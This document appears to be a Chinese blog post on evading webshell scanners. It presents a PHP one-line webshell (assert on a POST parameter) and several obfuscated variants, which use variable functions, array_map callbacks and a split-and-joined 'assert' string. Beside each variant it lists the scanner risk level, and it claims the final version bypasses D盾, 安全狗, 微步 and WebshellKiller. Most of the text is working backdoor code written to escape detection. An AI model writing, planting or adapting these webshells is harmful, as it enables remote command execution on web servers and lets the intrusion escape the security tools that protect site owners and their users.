首先一句话木马:

<?php assert($_POST['a']); ?>

D盾扫描,5级

一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)-LMLPHP

分开写:

 <?php
$a = "assert";
$b = $_POST['a'];
$a($b); ?>

D盾扫描,4级

一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)-LMLPHP

使用可变函数的技巧(PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途)

 <?php
$a = "assert";
$fun = "a";
$$fun($_POST['a']);
?>

D盾扫描,3级

一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)-LMLPHP

使用array_map()函数(为数组的每个元素应用回调函数)

 <?php
$a = "assert";
$fun = "a";
array_map($$fun, array($_POST['a']));
?>

D盾扫描,2级

一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)-LMLPHP

把assert处理一下

 <?php
function f(){
$s = "aABKingsABKingsABKingeABKingrABKingt";
$arr = explode("ABKing", $s);
$result = $arr[0].$arr[1].$arr[2].$arr[3].$arr[4].$arr[5];
return $s;
}
$a = $_POST['a'];
$s = f();
array_map($s, array($a));
?>

D盾扫描,1级

一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)-LMLPHP

既然显示数组字符串合并,那么我们再处理得复杂一些

 <?php
function argu($a, $b){
$ext = explode('ABKing',$a);
$ext1 = $ext[0];
$ext2 = $ext[1];
$ext3 = $ext[2];
$ext4 = $ext[3];
$ext5 = $ext[4];
$ext6 = $ext[5];
$arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6;
$arr[1] = $b;
return $arr;
}
$b = $_POST['x'];
$arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b);
$x = $arr[0];
$y = $arr[1];
array_map($x, array($y));
?>

D盾扫描,成功免杀

一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)-LMLPHP

安全狗扫描,免杀

一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)-LMLPHP

微步,免杀

一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)-LMLPHP

webshell killer,免杀

一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)-LMLPHP

参考资料:

如何优雅的隐藏你的webshell:https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug

05-11 20:53